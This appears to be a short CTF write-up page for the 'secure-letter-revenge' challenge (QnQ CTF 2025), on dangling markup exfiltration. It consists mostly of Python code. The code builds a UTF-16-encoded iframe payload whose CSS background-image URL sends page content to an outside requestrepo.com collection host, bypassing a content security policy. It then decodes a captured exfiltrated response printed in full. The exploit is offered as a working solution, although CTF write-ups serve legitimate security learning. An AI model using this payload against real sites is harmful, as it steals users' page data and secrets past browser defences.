Skip to content

Dangling Markup Attacks

Created

Updated

2 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Resurecting Dangling Markup Attack

Event NameQnQ CTF 2025
GitHub URL-
Challenge Namesecure-letter-revenge
Attachments
References

import urllib.parse

# Bypass #1: UTF-16 character encoding attack
# reference https://nzt-48.org/form-action-content-security-policy-bypass-and-other-tactics-for-dealing-with-the-csp

payload = "<html><body><style>*{background-image: url(http://ubhtouo4.requestrepo.com?data="
payload_utf16 = payload.encode('utf-16')

payload = "<iframe src='data:text/html;charset=utf-16," + urllib.parse.quote(payload_utf16)
print(urllib.parse.quote(urllib.parse.quote(payload)))

response = "%E2%80%8A%E2%80%A0%E3%B0%A0%E6%90%AF%E7%99%A9%E0%A8%BE%E2%80%A0%E2%80%A0%E2%84%BC%E2%B4%AD%E4%84%A0%E6%85%AE%E7%A5%AC%E6%A5%B4%E7%8D%A3%E2%80%BB%E6%BD%AE%E6%B1%B4%E6%85%AF%E6%95%A4%E2%81%A4%E2%B4%AD%E0%A8%BE%E2%80%A0%E2%80%A0%E7%8C%BC%E7%89%A3%E7%81%A9%E3%B9%B4%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E6%8C%A0%E6%B9%AF%E6%BD%B3%E6%95%AC%E6%B0%AE%E6%9D%AF%E2%88%A8%E6%BD%8C%E6%91%A1%E6%84%A0%E6%85%AE%E7%A5%AC%E6%A5%B4%E7%8D%A3%E2%A4%A2%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E6%98%A0%E6%B9%B5%E7%91%A3%E6%BD%A9%E2%81%AE%E6%BD%AC%E6%91%A1%E6%B9%81%E6%B1%A1%E7%91%B9%E6%8D%A9%E2%A1%B3%E2%80%A9%E0%A9%BB%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E6%8C%A0%E6%B9%AF%E7%91%B3%E6%90%A0%E6%99%A5%E7%95%A1%E7%91%AC%E6%B9%81%E6%B1%A1%E7%91%B9%E6%8D%A9%E5%95%B3%E4%B1%92%E3%B4%A0%E6%B0%A0%E6%8D%AF%E7%91%A1%E6%BD%A9%E2%B9%AE%E7%89%AF%E6%9D%A9%E6%B9%A9%E2%AC%A0%E2%88%A0%E6%84%AF%E6%85%AE%E7%A5%AC%E6%A5%B4%E7%8D%A3%E6%A8%AE%E2%89%B3%E0%A8%BB%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E6%BD%A3%E7%8D%AE%E2%81%B4%E6%85%A3%E6%91%AE%E6%91%A9%E7%91%A1%E2%81%A5%E2%80%BD%E6%A5%B7%E6%91%AE%E7%9D%AF%E6%8C%AE%E6%9D%A6%E6%84%AE%E6%85%AE%E7%A5%AC%E6%A5%B4%E7%8D%A3%E5%89%95%E2%81%8C%E3%BC%BF%E6%90%A0%E6%99%A5%E7%95%A1%E7%91%AC%E6%B9%81%E6%B1%A1%E7%91%B9%E6%8D%A9%E5%95%B3%E4%B1%92%E0%A8%BB%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E7%90%A0%E7%A5%B2%E7%AC%A0%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E6%8C%A0%E6%B9%AF%E7%91%B3%E7%94%A0%E6%B1%B2%E3%B4%A0%E6%B8%A0%E7%9D%A5%E5%94%A0%E4%B1%92%E6%8C%A8%E6%B9%A1%E6%A5%A4%E6%85%A4%E6%95%B4%E2%B8%A9%E6%BD%B4%E7%91%93%E6%A5%B2%E6%9D%AE%E2%A4%A8%E0%A8%BB%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E6%90%A0%E6%8D%AF%E6%B5%B5%E6%B9%A5%E2%B9%B4%E6%A5%B5%E2%81%A4%E2%80%BD%E6%98%A2%E6%85%AC%E3%B5%A7%E6%B9%91%E5%8D%91%E6%8D%A5%E7%91%BB%E3%91%A8%E7%8D%B4%E7%9D%9F%E3%91%A8%E5%BD%B4%E5%BC%B1%E3%8D%A7%E5%BD%B4%E6%BD%A6%E5%BD%B2%E3%85%A1%E6%8D%9F%E6%91%AF%E7%B4%B3%E3%AC%A2%E2%80%8A%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E2%80%A0%E6%8C%A0%E6%B9%AF%E7%91%B3%E7%8C%A0%E7%89%A3%E7%81%A9%E2%81%B4%E2%80%BD%E6%BD%A4%E7%95%A3%E6%95%AD%E7%91%AE%E6%8C%AE%E6%95%B2%E7%91%A1%E4%95%A5%E6%95%AC%E6%95%AD%E7%91%AE"

response_bytes = bytes.fromhex(response.replace("%", ""))

# Decoding process:
# 1. Original HTML bytes (UTF-8): 3C 64 69 76 3E ... 
# 2. Browser reads as UTF-16LE: 3C64 (U+643C), 6976 (U+7669), ...
# 3. These Unicode chars are sent via URL as UTF-8 encoded
# To reverse: UTF-8 decode → extract codepoints → reinterpret as original bytes

# Step 1: Decode UTF-8 to get the Unicode characters (CJK)
utf8_decoded = response_bytes.decode('utf-8')

# Step 2: Extract original bytes from Unicode codepoints
# Each character's codepoint represents 2 bytes read as UTF-16LE
# So codepoint U+643C means original bytes were: 3C 64 (little-endian)
original_bytes = bytearray()
for char in utf8_decoded:
    codepoint = ord(char)
    # Split UTF-16LE codepoint back into original bytes
    byte1 = codepoint & 0xFF  # Low byte (came first in little-endian)
    byte2 = (codepoint >> 8) & 0xFF  # High byte (came second)
    original_bytes.append(byte1)
    original_bytes.append(byte2)

# Step 3: Decode the original bytes as UTF-8 to get the actual text
try:
    original_text = bytes(original_bytes).decode('utf-8', errors='ignore')
    print("Decoded original data:")
    print(original_text)
    print("\nNormalized (printable characters only):")
    normalized = ''.join(c for c in original_text if c.isprintable() or c in '\n\r\t')
    print(normalized)
except Exception as e:
    print(f"Error decoding: {e}")
    print(f"Original bytes length: {len(original_bytes)}")
    print(f"First 100 bytes (hex): {original_bytes[:100].hex()}")

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.